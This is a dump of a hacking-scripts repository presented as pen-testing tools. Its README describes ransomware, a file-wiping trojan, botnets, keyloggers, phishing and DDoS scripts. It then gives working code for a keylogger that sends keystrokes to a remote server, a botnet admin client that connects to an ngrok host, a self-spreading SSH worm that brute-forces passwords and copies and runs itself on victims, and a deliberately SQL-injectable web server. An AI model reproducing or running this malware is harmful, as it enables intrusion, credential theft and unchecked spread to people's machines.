25 |         """Starts to parse the arguements."""
26 |         self.parse_args()
27 |     def logo(self):
28 |         print("""
29 | __          ___           _____             _     _        __   ___  
30 | \ \        / (_)         / ____|           (_)   | |      /_ | / _ \ 
31 |  \ \  /\  / / _ _ __ ___| (___   __ _ _   _ _  __| | __   _| || | | |
32 |   \ \/  \/ / | | '__/ _ \ ___ \ / _` | | | | |/ _` | \ \ / / || | | |
33 |    \  /\  /  | | | |  __/____) | (_| | |_| | | (_| |  \ V /| || |_| |
34 |     \/  \/   |_|_|  \___|_____/ \__, |\__,_|_|\__,_|   \_/ |_(_)___/ 
35 |                                    | |                               
36 |                                    |_|
37 | Packet-Sniffer by DrSquid""")
38 |     def usage(self):
39 |         """Displays the help message for option-parsing(in case you need it)."""
40 |         self.logo()
41 |         print("""
42 | [+] Option-Parsing Help:
43 | 
44 | [+] Optional Arguements:
45 | [+] --i, --info     - Shows this message.
46 | [+] --f, --filter   - Specify the Database file to store passwords on(must be a .db).
47 | [+] Note: These optional arguements have defaults, so you are able to leave them.
48 | 
49 | [+] Usage:
50 | [+] python3 WireSquid.py --f <filter>
51 | [+] python3 WireSquid.py --i""")
52 |     def parse_args(self):
53 |         """This function parses the arguements."""
54 |         self.logo()
55 |         args = OptionParser()
56 |         args.add_option("--f", "--filter", dest="filter")
57 |         args.add_option("--i",  "--info",dest="i", action="store_true")
58 |         arg, opt = args.parse_args()
59 |         if arg.i is not None:
60 |             self.usage()
61 |             sys.exit()
62 |         if arg.filter is not None:
63 |             filter = arg.filter
64 |         else:
65 |             filter = None
66 |         sniff = PacketSniffer(filter)
67 |         sniff.sniff()
68 | parser = OptionParse()


--------------------------------------------------------------------------------
/Network Related/examplespambots.txt:
--------------------------------------------------------------------------------
1 | example@gmail.com password
2 | example2@gmail.com password1234
3 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Ethical-Hacking-Scripts
 2 | More Advanced and Powerful Scripts made for pen-testing developped by me.
 3 | I might add dev notes to my scripts if I get bored.
 4 | 
 5 | # Please Don't Black Hat.
 6 | Do not use these scripts for malicious intent. I will not be responsible for any damages.
 7 | 
 8 | Only use these scripts if you have permission from the people whom you are attacking, and only for ethical purposes.
 9 | 
10 | # What's in this Repository?
11 | The Scripts in this repository include:
12 | * HTTP-Flood DoS Scripts - Scripts that are aimed at taking down web servers.
13 | * ARP-Poisoning Scripts  - Sending Poisonous Packets to the router for a Man-In-The-Middle-Attack on an IP on your network.
14 | * Packet-Sniffers        - Get your network traffic(Use Linux for better experience).
15 | * XSS-Payload Scripts    - Perform Cross site scripting when you are able to obtain working payloads on a vulnerable Web Server.
16 | * Malware                - Malware that can destroy files on the computer, and can also make it unbootable.
17 | * BotNets                - Botnets that can control and perform unauthorized actions to remote computers.
18 | * Keyloggers             - Log the keystrokes of another person, to possibly extract their password from the keylog.
19 | * Hash Crackers          - Brute force a Hash of a password with these scripts.
20 | * IP Utilities           - Can get information about a specified IP address or host for future attacks.
21 | * Vulnerability Scanners - Scan For online IP Addresses, open ports, and scan for MAC Addreses on a home network.
22 | * Vulnerable Server Scripts - Weak servers that allow you to 'legally' test out Cross site scripting and SQL Injections(if you have nobody's permission).
23 | * Phishing Scripts       - Scripts designed to pose as another site's login page, to extract login information from another user.
24 | 
25 | There is more to be added.
26 | 
27 | # Warnings
28 | SquidWare and RansomSquid are very dangerous scripts. RansomSquid will encrypt all of your files, and will only decrypt them if you have the correct key. SquidWare is very dangerous as well, it deletes all of your files as well as ruining your Operating system(makes it unbootable). ONLY RUN THESE IF YOU ARE ON A VIRTUAL MACHINE OR HAVE PERMISSION FROM ANOTHER USER! Unauthorized usage of these scripts on other people is also Illegal.
29 | 
30 | # Updates
31 | I might consider making more optimised versions of the scripts, perhaps with more functionality.
32 | 
33 | # Brief Overview of My Scripts(to show that these are actually mine and are not borrowed/copied from other people):
34 | 
35 | * SquidNet - Read my SquidNet repository(there is a lot of description there). Repo for your info: https://github.com/DrSquidX/SquidNet
36 | * SquidNet2 - The improved version of SquidNet, removing many of the useless features it had, and added some more neccesary protocols. There will a repository soon, however my workload at school will determine whenever that will happen - Repo for your info: https://github.com/DrSquidX/SquidNet2.
37 | * SquidNetSSH - An SSH botnet made for taking control of bots in which they have port 22(SSH Protocol) open for connections. If the Bot-Master has a user and password of one of a device, they could potentially log in with those credentials where they could be able to control the device via SSH. There is also an SSH worm inside of the script, made for if someone wanted to spread the botnet automatically. However the brute forcing on this botnet is very slow, so using an external tool such as Hydra would be useful for that.
38 | * SquidWorm - This worm first generates the payload for which it is used to infect other machines. This is so that it could configure the password file for brute forcing as well as the config for better way of SFTP when a bot has been successfully infected(Different OS's with their different directories can mess things up). It first starts out doing a host scan to get a list of all of the IP addresses in that network. It does so by doing 'arp -a' in terminal and using the information from that to build the IP list(may modify and add the ping scan instead later). I didn't really mention the way the config file worked, so what it does is you need to have the IP, operating system, as well as the username of that IP in a line(for ex. '192.168.0.230 larry windows'). Anyways, after successfully brute forcing and infecting one of the victims, it needs to clone itself in order to spread even more. The worm copies and sends the password list file, config file, as well as the script itself. Once sending it to the victim, it executes the files remotely and the process starts over. To prevent a victim from being infected multiple times, a server is binded at 0.0.0.0:42069(yes, the port is that). Before the brute forcing, the worm sends a request to that server, and if it gets the correct reply, it will not brute force that victim. If it does not send a reply it will brute force.
39 | * HashSquid - HashSquid is a script that was made for hash cracking. You specify the hash to crack as well as the hashing algorithim(md5, sha1, sha225, sha256, sha512, and a few others) and also the password file that has the passwords. The password file would be used to dictionary attack the hash and eventually crack it(if the de-hashed hash is actually in the password list). How it works is that the password file is read top to bottom, where every word would be hashed and compared to the hash that needs to be cracked. If it does find a match then the hash has been cracked.
40 | * SquidIPUtils - A simple IP tool script that allows you to simply resolve a hostname into an IP address, or attempting to reverse DNS an IP into a hostname, as well as using the module 'geocoder' to obtain geolocation info of the specified IP Address. It's overall a very simple and easy tool to use.
41 | * SquidLogger - This script first makes you generate a payload for victims to run later. You specify an IP and port to host the server on(the victims will connect to this server and keystrokes will be logged). You can specify an external IP and port if you choose to do so as well. When victims run the payload, it first sends their IP address to the server(so you can differenciate between clients), and then their keystrokes will be sent to the server. The payload(when generated), will have everything needed to communicate with the Keylog server. It has the IP and Port to connect to, the code to log their keystrokes, as well as the code to obtain their IP address.
42 | * SquidPhisher - SquidPhisher is a phishing server designed to pose as a certain website, however not actually being the same website and having a different function. This function is to obtain the client's username and password. The Phishing server is a web server that obtains the inputs of the clients. How it obtains said inputs is examining the header of the client, where it checks to see if names 'username' and 'password' are in it. If so, it will display that it got the user info of the client. It not only obtains their userinfo, it also obtains their IP address, by looking at the HTTP Header sent by the client, as well as obtaining the User-Agent(get a little info on what the client is using at the moment), and also their geolocation info.
43 | * SquidXSS - This Script requires a text file with XSS Cross site scripting payloads. You also need to provide a website to test the payloads on, to see if the server is vulnerable said payloads. You also need to provide the query tag, so that the server can see that you are 'inputting' something into it. Once done so, the script will send bot requests to the server, where the payloads will be sent in the query tag. In order to see if it works, the Bot requests will also be read to see if the html page recieved by the server contains that payload. If it does so, it is vulnerable to Cross site scripting. Otherwise, it is not.
44 | * SquidMap - SquidMap is a vulnerability scanner, aimed at finding open ports in systems or obtaining MAC Addresses if you're on a home network. You need to specify an IP address, along with the amount of ports you want to scan. The default is 1024, in case you need to know. For the port scanning, it tries to connect to that IP Address and the ports(goes in a for loop), where if it successfully connects, it has identified an open port. For the MAC Address obtaining, it sends ARP(Address Resoultion Protocol) Packets to the router to identify the MAC Address of that IP Address(if it's on the local network). You also have an option to scan the whole network. Simply put '/24' at the end of the IP Address and the script will scan through the whole range of IP Addresses. I believe this only works for windows, since the ping scan utilises the OS Command 'ping'. I made it so that it pings the IP Address once, whereas in other OS's it will constantly ping that IP address nonstop(may add a fix later).
45 | * SquidWare - This is a Trojan Script designed to delete files and also make the computer unbootable. It first asks for Administrative Privallages, so that it has permission to delete system files(makes the computer unbootable). If these permissions are granted, then the Virus does its things. It first obtains all of the directories and files of the computer, where it then tries to delete everything. It of course won't be able to delete everything, as it does not have permission to delete everything. It can delete user files and some system files, which would delete personal files, as well as files needed to make Windows boot. After deleting the files, it waits a few seconds and the computer is shut down. Afterwards, the computer is bricked and it has no personal files.
46 | * RansomSquid - A script that encrypts personal files. It first obtains all of the directories and files inside of the C:/Users directory, where it will try to encrypt every file that it can encrypt. It has an encryption key to encrypt the files. After every file in encrypted, the victim is prompted to enter the encryption key to decrypt all of the files. If the victim closes the python window, their files are truly lost. The attacker would have leverage on the victim, where they would be able to make the victim pay Ransom to obtain the Encryption key to decrypt the files(If you really are that bad of a person).
47 | * SquidDDoS - This is an HTTP Flood script made to take down weak web servers. It has a large list of User-Agents made for generating many different HTTP Headers to send to the server. It has an option to download Proxies from the internet to cover your tracks during an Attack. It also randomly generates query strings and many other things that are needed to generate an HTTP Header. There could be thousands, maybe millions of possible HTTP Headers that could be send to the web server and confuse it. These requests are sent to the server in large masses, but it is more ideal to use this with a lot of devices and attack the web server(You can use SquidNet).
48 | * SquidPoisoner - An ARP Poisoner designed to obtain internet traffic from another device. It first needs to obtain the MAC Addresses of the target and the router, by sending ARP Packets and then obtaining the MAC Addresses of the devices. After doing so, it sends poisonous ARP Packets to these IP addresses where it would confuse them and send their traffic to the Attacker, where the Attacker would basically be the 'Man In The Middle'(This is a type of Man-In-The-Middle Attack). The Attacker can see the targets internet traffic and see what they are connecting to(Check if they are going on any 'weird' or 'questionable' websites).
49 | * SquidSniffer - This is more likely to work with Linux. It makes a Raw Socket where it could intercept the Raw packets(which is internet traffic) and turn them into readable or interpreble strings. It obtains the Ethernet header, in which it displays the Source and Destination MAC Addresses, as well as being able to get IP Headers, TCP Headers, and also UDP Headers that could also be decoded into. There is an option to decode the Hex Dump Binary into strings, where the Hex Dump Strings get converted into strings. Most traffic is encrypted nowadays, so you're more likely to see gibberish.
50 | * WireSquid - You need to have WireShark Installed to use this. It uses the module PyShark, where it uses the code from WireShark to intercept internet traffic. WireSquid gets the source IP's and destination IP addresses as well as the source and destination ports of the traffic. It also obtains the Ethernet headers to obtain source and destination MAC Addresses, as well as also identifying the Protocol of these packets. There is an option to also specify filters, but it is very rough on the edges.
51 | 
52 | # Other Info
53 | Do not copy these scripts and say they are yours. I am not ok with that. If you plan to modify these scripts, please credit me as I would appreciate that. 
54 | 
55 | Another thing is that My Vulnerable server scripts were intended to be horrible and very weak against attacks(so please don't bully me about the vulnerability of these web servers). 
56 | 
57 | A quick note that SquidNet2 is my most powerful script(It does not reflect on my socket programming skills, as DatCord does). Both versions of SquidNet are linked below, as they have their own repositories. SquidNet2 is the superior version of SquidNet, and should be used rather than SquidNet.
58 | 
59 | SquidNet Repository: https://github.com/DrSquidX/SquidNet
60 | 
61 | SquidNet2 Repository: https://github.com/DrSquidX/SquidNet2
62 | 
63 | # Happy (Ethical for legal purposes)Hacking, DrSquid
64 | 


--------------------------------------------------------------------------------
/Sample Client Scripts/SquidLoggerClient.py:
--------------------------------------------------------------------------------
 1 | from pynput.keyboard import Listener
 2 | import socket, urllib.request, threading
 3 | class Keylogger:
 4 |     def __init__(self, ip, port):
 5 |         self.ip = ip
 6 |         self.port = port
 7 |         self.selfip = self.getip()
 8 |         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 9 |         self.client.connect((self.ip,self.port))
10 |         self.client.send(self.selfip.encode())
11 |         self.logger = threading.Thread(target=self.start_logging)
12 |         self.logger.start()
13 |     def getip(self):
14 |         try:
15 |             url = 'https://httpbin.org/ip'
16 |             req = urllib.request.Request(url)
17 |             result = urllib.request.urlopen(req)
18 |             try:
19 |                 result = result.read().decode()
20 |             except:
21 |                 result = result.read()
22 |             contents = result.split()
23 |             ip = contents[2].strip('"')
24 |             return str(ip)
25 |         except:
26 |             pass
27 |     def on_press(self,key):
28 |         self.client.send(str(key).encode())
29 |     def on_release(self,key):
30 |         pass
31 |     def start_logging(self):
32 |         with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
33 |             listener.join()
34 | keylog = Keylogger("localhost",80)


--------------------------------------------------------------------------------
/Sample Client Scripts/SquidNetMaster.py:
--------------------------------------------------------------------------------
 1 | 
 2 | import socket, threading, os, time, urllib.request, sys
 3 | class BotMaster:
 4 |     def __init__(self, ip, port, name, admin_password):
 5 |         self.ip = ip
 6 |         self.port = port
 7 |         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 8 |         self.client.connect((self.ip, self.port))
 9 |         msg = str(socket.gethostname() + " " + self.getip() + " " + os.getlogin()+" "+sys.platform).encode()
10 |         self.client.send(msg)
11 |         self.name = name
12 |         self.admin_password = admin_password
13 |         time.sleep(1)
14 |         self.client.send("!CLIENTLOG".encode())
15 |         time.sleep(1)
16 |         self.client.send(f"!login {self.name} {self.admin_password}".encode())
17 |         self.logo()
18 |         print("\n[+] Successfully logged into the Botnet!")
19 |         print("[+] You are able to access the Botnet and also give commands to all of the connected bots!")
20 |         print("")
21 |         self.reciever = threading.Thread(target=self.recv)
22 |         self.reciever.start()
23 |         self.sender = threading.Thread(target=self.send)
24 |         self.sender.start()
25 |     def logo(self):
26 |         print('''
27 |   _____             _     _ __  __           _            
28 |  / ____|           (_)   | |  \/  |         | |           
29 | | (___   __ _ _   _ _  __| | \  / | __ _ ___| |_ ___ _ __ 
30 |  \___ \ / _` | | | | |/ _` | |\/| |/ _` / __| __/ _ \ '__|
31 |  ____) | (_| | |_| | | (_| | |  | | (_| \__ \ ||  __/ |   
32 | |_____/ \__, |\__,_|_|\__,_|_|  |_|\__,_|___/\__\___|_|   
33 |            | |                                            
34 |            |_|                                                                                                      
35 | SquidNet Admin Script By DrSquid''')
36 |     def getip(self):
37 |         try:
38 |             url = 'https://httpbin.org/ip'
39 |             req = urllib.request.Request(url)
40 |             result = urllib.request.urlopen(req)
41 |             try:
42 |                 result = result.read().decode()
43 |             except:
44 |                 result = result.read()
45 |             contents = result.split()
46 |             ip = contents[2].strip('"')
47 |             return ip
48 |         except:
49 |             pass
50 |     def send(self):
51 |         while True:
52 |             try:
53 |                 msg = input("[(ADMIN)]: ")
54 |                 self.client.send(msg.encode())
55 |             except:
56 |                 print("[+] There may be a server error. Try to relogin to the botnet.")
57 |     def recv(self):
58 |         while True:
59 |             try:
60 |                 msg = self.client.recv(65500).decode()
61 |                 if msg == "":
62 |                     pass
63 |                 else:
64 |                     print('\n' + msg)
65 |             except:
66 |                 print("\n[+] Possible Server Error! Try to re-login to the Botnet!")
67 |                 print("[+] If this is a re-occuring message, contact the Server Owner.")
68 |                 print("\n[+] Attempting to re-connect to the server.")
69 |                 while True:
70 |                     try:
71 |                         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
72 |                         self.client.connect((self.ip, self.port))
73 |                         msg = str(
74 |                             socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform).encode()
75 |                         self.client.send(msg)
76 |                         time.sleep(1)
77 |                         self.client.send("!CLIENTLOG".encode())
78 |                         time.sleep(1)
79 |                         self.client.send(f"!login {self.name} {self.admin_password}".encode())
80 |                         print("[+] Successfully Logged Back Into the botnet.")
81 |                         break
82 |                     except:
83 |                         pass
84 | admin = BotMaster('6.tcp.ngrok.io',15088,'admin','root')      
85 |         


--------------------------------------------------------------------------------
/Sample Client Scripts/SquidWorms.py:
--------------------------------------------------------------------------------
  1 | import paramiko, os, socket, threading, sys, time
  2 | print("""
  3 |    _____             _     _     __          __                    __   ___  
  4 |   / ____|           (_)   | |    \ \        / /                   /_ | / _ \ 
  5 |  | (___   __ _ _   _ _  __| |_____\ \  /\  / /__  _ __ _ __ ___    | || | | |
  6 |   \___ \ / _` | | | | |/ _` |______\ \/  \/ / _ \| '__| '_ ` _ \   | || | | |
  7 |   ____) | (_| | |_| | | (_| |       \  /\  / (_) | |  | | | | | |  | || |_| |
  8 |  |_____/ \__, |\__,_|_|\__,_|        \/  \/ \___/|_|  |_| |_| |_|  |_(_)___/ 
  9 |             | |                                                              
 10 |             |_|                                                              
 11 | Script By DrSquid
 12 | This worm Spreads over local networks and exploits port 22.""")
 13 | class Marker:
 14 |     def __init__(self, ip="0.0.0.0", port=42069):
 15 |         self.ip = ip
 16 |         self.port = port
 17 |         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 18 |         self.sock.bind((self.ip, self.port))
 19 |         self.listener = threading.Thread(target=self.listen)
 20 |         self.listener.start()
 21 |     def listen(self):
 22 |         while True:
 23 |             try:
 24 |                 self.sock.listen()
 25 |                 conn, ip = self.sock.accept()
 26 |                 time.sleep(1)
 27 |                 conn.send("I have been infected with a worm.".encode())
 28 |                 conn.close()
 29 |             except:
 30 |                 pass
 31 | class Worm:
 32 |     def __init__(self, filetobecloned,victimfilename,passw_file,cfg_file=None):
 33 |         self.own_ip = "192.168.0.115"
 34 |         self.cfg_file = cfg_file
 35 |         self.has_cfg = False
 36 |         if self.cfg_file != None:
 37 |             self.cfg_contents, self.ls_contents = self.cfg(self.cfg_file)
 38 |         self.os_ls = ['windows','apple','linux']
 39 |         self.ips = os.popen('arp -a').readlines()
 40 |         self.possiblevictims = self.identify_victims()
 41 |         self.passwords_cracked = 0
 42 |         self.passwords_scanned = 0
 43 |         self.clonefile = filetobecloned
 44 |         self.fileonvictim = victimfilename
 45 |         self.passw_file = passw_file
 46 |         self.victims = []
 47 |         self.ips_scanned = 0
 48 |         print(f"[+] List of Possible Hosts: {self.possiblevictims}")
 49 |         print("[+] Do CRTL+C To stop the script.")
 50 |         print("\n[+] Initiating Port Scan.....")
 51 |         self.passwords = self.obtain_passw()
 52 |         self.port_scanner = threading.Thread(target=self.begin_port_scan)
 53 |         self.port_scanner.start()
 54 |     def cfg(self, filename):
 55 |         file = open(filename, "r")
 56 |         contents = file.read()
 57 |         file.close()
 58 |         file = open(filename, "r")
 59 |         ls_contents = file.readlines()
 60 |         file.close()
 61 |         if "CFGFORWORM" in contents:
 62 |             self.has_cfg = True
 63 |             print("[+] A Config file has been provided.")
 64 |             return contents, ls_contents
 65 |         else:
 66 |             return None
 67 |     def initiate_threads(self):
 68 |         self.laster = threading.Thread(target=self.output_item)
 69 |         self.laster.start()
 70 |         while True:
 71 |             try:
 72 |                 if self.ips_scanned == len(self.possiblevictims):
 73 |                     if len(self.victims) == 0:
 74 |                         print("\n[+] No Hosts with Port 22 Open.")
 75 |                     else:
 76 |                         for ip in self.victims:
 77 |                             if self.has_cfg:
 78 |                                 if ip in self.cfg_contents:
 79 |                                     if ip not in self.victims:
 80 |                                         print(f"[+] {ip} is in config file, but not in victim list.\n[+] Ignoring.........")
 81 |                                     else:
 82 |                                         for line in self.ls_contents:
 83 |                                             if ip in line:
 84 |                                                 try:
 85 |                                                     ipcfg = line.split()
 86 |                                                     try:
 87 |                                                         username = ipcfg[1]
 88 |                                                     except:
 89 |                                                         username = "root"
 90 |                                                     try:
 91 |                                                         opsys = ipcfg[2]
 92 |                                                         if opsys not in self.os_ls:
 93 |                                                             opsys = "windows"
 94 |                                                     except:
 95 |                                                         opsys = "windows"
 96 |                                                 except:
 97 |                                                     pass
 98 |                                 else:
 99 |                                     username = "root"
100 |                                     opsys = "windows"
101 |                             else:
102 |                                 username = "root"
103 |                                 opsys = "windows"
104 |                             victim = threading.Thread(target=self.victimlogin, args=(ip, username, opsys))
105 |                             victim.start()
106 |                     break
107 |             except:
108 |                 pass
109 |     def begin_port_scan(self):
110 |         for ip in self.possiblevictims:
111 |             try:
112 |                 print(f"\n[+] Scanning {ip}.....")
113 |                 portscanner = threading.Thread(target=self.port_scan, args=(ip,))
114 |                 portscanner.start()
115 |             except:
116 |                 pass
117 |         self.initiate_threads()
118 |     def port_scan(self, ip):
119 |         try:
120 |             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
121 |             s.connect((ip, 22))
122 |             self.victims.append(ip)
123 |             print(f"\n[!] {ip} has 22 as an open Port.")
124 |         except:
125 |             print(f"\n[+] {ip} does not have 22 as an open port.")
126 |         s.close()
127 |         self.ips_scanned += 1
128 |     def obtain_passw(self):
129 |         with open(self.passw_file, "r") as file:
130 |             passwords = file.readlines()
131 |         return passwords
132 |     def identify_victims(self):
133 |         victims = []
134 |         if sys.platform == "win32":
135 |             for lines in self.ips:
136 |                 try:
137 |                     line = lines.split()
138 |                     ip = line[0]
139 |                     checker = int(ip[0])
140 |                     victims.append(ip)
141 |                 except:
142 |                     pass
143 |         elif sys.platform == "darwin":
144 |             for lines in self.ips:
145 |                 try:
146 |                     line = lines.split()
147 |                     ip = line[1]
148 |                     ip = ip.strip('()')
149 |                     checker = int(ip[0])
150 |                     victims.append(ip)
151 |                 except:
152 |                     pass
153 |         return victims
154 |     def output_item(self):
155 |         while True:
156 |             try:
157 |                 pass
158 |             except:
159 |                 pass
160 |     def victimlogin(self, ip, username="root", opsys="windows"):
161 |         infected = False
162 |         try:
163 |             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
164 |             s.connect((ip,42069))
165 |             msg = s.recv(1024).decode()
166 |             s.close()
167 |             infected = True
168 |             self.passwords_cracked += 1
169 |             self.passwords_scanned += 1
170 |             print(f"[!] {ip} has already been infected!")
171 |         except:
172 |             infected = False
173 |         if not infected:
174 |             client = paramiko.SSHClient()
175 |             client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
176 |             print(f"[+] Attempting to Brute Force Password for IP: {ip}")
177 |             flag = 0
178 |             for password in self.passwords:
179 |                 try:
180 |                     password = password.strip()
181 |                     client.connect(ip, 22, username, password, auth_timeout=2)
182 |                     flag = 1
183 |                     break
184 |                 except:
185 |                     pass
186 |             if flag == 1:
187 |                 self.passwords_cracked += 1
188 |                 self.passwords_scanned += 1
189 |                 print(f"\n[!] {ip}'s Password has been Cracked!: {password}")
190 |                 print(f"[!] Injecting file {self.clonefile} into Victim!")
191 |                 sftp = client.open_sftp()
192 |                 if opsys == 'apple':
193 |                     sftp.put(self.clonefile, f"/Users/{username}/{self.fileonvictim}")
194 |                     sftp.put(self.passw_file, f"/Users/{username}/{self.passw_file}")
195 |                     if self.has_cfg:
196 |                         sftp.put(self.cfg_file, f"/Users/{username}/{self.cfg_file}")
197 |                     print(f"[!] Successfully Started {self.clonefile} On {ip}")
198 |                     print(f"[+] If there is anything wrong with the connection, use: 'ssh {username}@{ip}' and procceed with: '{password}'")
199 |                     if self.fileonvictim.endswith('.py'):
200 |                         stdin, stdout, stderr = client.exec_command(
201 |                             f"python3 /Users/{username}/{self.fileonvictim}")
202 |                         stdin.close()
203 |                     else:
204 |                         stdin, stdout, stderr = client.exec_command(f"open /Users/{username}/{self.fileonvictim}")
205 |                         stdin.close()
206 |                 else:
207 |                     sftp.put(self.clonefile, f"C:/Users/{username}/{self.fileonvictim}")
208 |                     sftp.put(self.passw_file, f"C:/Users/{username}/{self.passw_file}")
209 |                     if self.has_cfg:
210 |                         sftp.put(self.cfg_file, f"C:/Users/{username}/{self.cfg_file}")
211 |                     print(f"[!] File May Have been started on {ip}(Cmd command may have not been passed).")
212 |                     print(f"[!] You can try logging into the Computer with cmd: ssh {username}@{ip}")
213 |                     print(f"[!] And proceed with Password: {password}")
214 |                     if self.fileonvictim.endswith('.py'):
215 |                         stdin, stdout, stderr = client.exec_command(
216 |                             f"python3 C:/Users/{username}/{self.fileonvictim}")
217 |                         stdin.close()
218 |                     else:
219 |                         stdin, stdout, stderr = client.exec_command(f"start /B C:/Users/{username}/{self.fileonvictim}")
220 |                         stdin.close()
221 |                 client.close()
222 |             else:
223 |                 print(f"\n[?] {ip}'s Password was unable to be cracked.")
224 |                 self.passwords_scanned += 1
225 | thisfile = __file__
226 | passw_file = "password_list.txt"
227 | fileonvictim = "worm.py"
228 | cfg_file = "wormcfg.cfg"
229 | marker = Marker()
230 | worm = Worm(thisfile, fileonvictim, passw_file, cfg_file)


--------------------------------------------------------------------------------
/Vulnerable Scripts/VulnerableSQLSearchServ.py:
--------------------------------------------------------------------------------
  1 | import sqlite3, socket, threading, sys, random
  2 | 
  3 | class WebServer:
  4 |     def __init__(self):
  5 |         self.logo()
  6 |         self.valid = False
  7 |         self.name_list = ["admin adminpassword123456","bobby cheeseburger69","david 19216801","mine craft","jerry password","tom jerry"]
  8 |         self.names = ["admin", "bobby", "david", "mine", "jerry", "tom"]
  9 |         self.items = ["cheeseburger","fries","nuggies","fetus","chicken","rtx 3090","i9 11900kf"]
 10 |         try:
 11 |             self.ip = sys.argv[1]
 12 |             self.port = int(sys.argv[2])
 13 |             self.dbfile = "users.db"
 14 |             try:
 15 |                 file = open(self.dbfile,"r")
 16 |             except:
 17 |                 file = open(self.dbfile,"w")
 18 |             db = sqlite3.connect(self.dbfile)
 19 |             cursor = db.cursor()
 20 |             try:
 21 |                 cursor.execute("select * from users")
 22 |             except:
 23 |                 cursor.execute("create table users(name, password, logins)")
 24 |             try:
 25 |                 for i in self.name_list:
 26 |                     cursor.execute(f"delete from users where name = '{i.split()[0]}'")
 27 |             except:
 28 |                 pass
 29 |             for i in self.name_list:
 30 |                 cursor.execute(f"insert into users values('{i.split()[0]}', '{i.split()[1]}', '0')")
 31 |             try:
 32 |                 cursor.execute("select * from items")
 33 |             except:
 34 |                 cursor.execute("create table items(item, price)")
 35 |             try:
 36 |                 for i in self.items:
 37 |                     cursor.execute(f"delete from items where item = '{i}'")
 38 |             except:
 39 |                 pass
 40 |             for i in self.items:
 41 |                 cursor.execute(f"insert into items values('{i}', '${random.randint(10,100)}.{random.randint(10,99)}')")
 42 |             print(f"\n[+] Try to use SQL Injections to obtain the passwords of these accounts: {self.names}")
 43 |             print(f"[+] Here are the 'normal' things you can search for: {self.items}\n")
 44 |             try:
 45 |                 self.externalip = sys.argv[3]
 46 |             except Exception as e:
 47 |                 self.externalip = self.ip
 48 |             self.valid = True
 49 |             db.commit()
 50 |             cursor.close()
 51 |             db.close()
 52 |         except Exception as e:
 53 |             print("[+] Invalid Arguments!\n[+] Usage: python3 VulnerableServer.py <ip> <port> <externalip>\n[+] Note: The External IP argument is optional.")
 54 |         if self.valid:
 55 |             try:
 56 |                 self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 57 |                 self.server.bind((self.ip, self.port))
 58 |                 self.msgs = []
 59 |                 self.packet = self.gen_packet()
 60 |                 print(f"[+] Vulnerable SQL Web Server Started on: {self.ip}:{self.port}")
 61 |             except Exception as e:
 62 |                 print(f"[+] Server Cannot be started due to Error: {e}")
 63 |                 self.valid = False
 64 |     def logo(self):
 65 |         print("""
 66 | __      __    _                      _     _       _____  ____  _         _____                                 __   ___  
 67 | \ \    / /   | |                    | |   | |     / ____|/ __ \| |       / ____|                               /_ | / _ \ 
 68 |  \ \  / /   _| |_ __   ___ _ __ __ _| |__ | | ___| (___ | |  | | |      | (___   ___ _ ____   _____ _ __  __   _| || | | |
 69 |   \ \/ / | | | | '_ \ / _ \ '__/ _` | '_ \| |/ _ \ ___ \| |  | | |       \___ \ / _ \ '__\ \ / / _ \ '__| \ \ / / || | | |
 70 |    \  /| |_| | | | | |  __/ | | (_| | |_) | |  __/____) | |__| | |____   ____) |  __/ |   \ V /  __/ |     \ V /| || |_| |
 71 |     \/  \__,_|_|_| |_|\___|_|  \__,_|_.__/|_|\___|_____/ \___\_\______| |_____/ \___|_|    \_/ \___|_|      \_/ |_(_)___/ 
 72 | Vulnerable Web Server made for Testing SQL Injections by DrSquid""")
 73 |     def gen_packet(self, sqlquery="", results=""):
 74 |         if results != "":
 75 |             new_packet = "<h2>Search Results:</h2>"
 76 |             for i in results:
 77 |                 if f"{i[0]}   {i[1]}" in results:
 78 |                     pass
 79 |                 else:
 80 |                     new_packet += f"\n<h6>{i[0]}   {i[1]}</h6>"
 81 |             results = new_packet
 82 |         packet = f"""
 83 | <title>Vulnerable SQL Web Server</title>
 84 | <h1>Horrific Looking Search Page</h1>
 85 | This is a horrible looking search page. It is meant to be vulnerable to SQL Injections.
 86 | <form action="http://{self.externalip}:{self.port}">
 87 |    Where would you like to go?  <input type="text" placeholder="Your Search" name="search">
 88 |     <input type="submit" value="Search">
 89 |     <h4>Sql Query: {sqlquery}</h4>
 90 | </form>
 91 | {results}
 92 |         """
 93 |         return packet
 94 |     def listen(self):
 95 |         if self.valid:
 96 |             print("[+] Server is listening For Connections.....")
 97 |             if self.externalip != self.ip:
 98 |                 print(f"[+] Also listening on(for external connections): {self.externalip}:{self.port}")
 99 |             print("")
100 |             while True:
101 |                 try:
102 |                     ipaddr = ""
103 |                     self.server.listen()
104 |                     conn, ip = self.server.accept()
105 |                     self.packet = self.gen_packet()
106 |                     msg = conn.recv(1024).decode()
107 |                     item = 0
108 |                     msg_split = msg.split()
109 |                     for i in msg_split:
110 |                         if 'x-forwarded-for' in i.lower():
111 |                             ipaddr = msg_split[item + 1]
112 |                             break
113 |                         item += 1
114 |                     if ipaddr == "":
115 |                         ipaddr = ip[0]
116 |                     print(f"[+] {ipaddr} has connected.")
117 |                     handler = threading.Thread(target=self.handler, args=(conn, msg, ipaddr))
118 |                     handler.start()
119 |                 except:
120 |                     pass
121 |     def simplify_str(self, item):
122 |         return item.replace("+", " ").replace("%3C", "<").replace("%3E", ">").replace(
123 |         "%2F", "/").replace("%22", '"').replace("%27", "'").replace("%3D", "=").replace("%2B",
124 |         "+").replace("%3A", ":").replace("%28", "(").replace("%29", ")").replace("%2C", ","
125 |         ).replace("%3B", ";").replace("%20", " ").replace("%3F", "?").replace("%5C", "\\"
126 |         ).replace("%7B", "{").replace("%7D", "}").replace("%24", "$").replace("%0D", "\n"
127 |         ).replace("%0A", "   ").replace("%40","@").replace("%25", "%")
128 |     def search(self, query):
129 |         db = sqlite3.connect(self.dbfile)
130 |         cursor = db.cursor()
131 |         cursor.execute(query)
132 |         item = cursor.fetchall()
133 |         if len(item) >= 1:
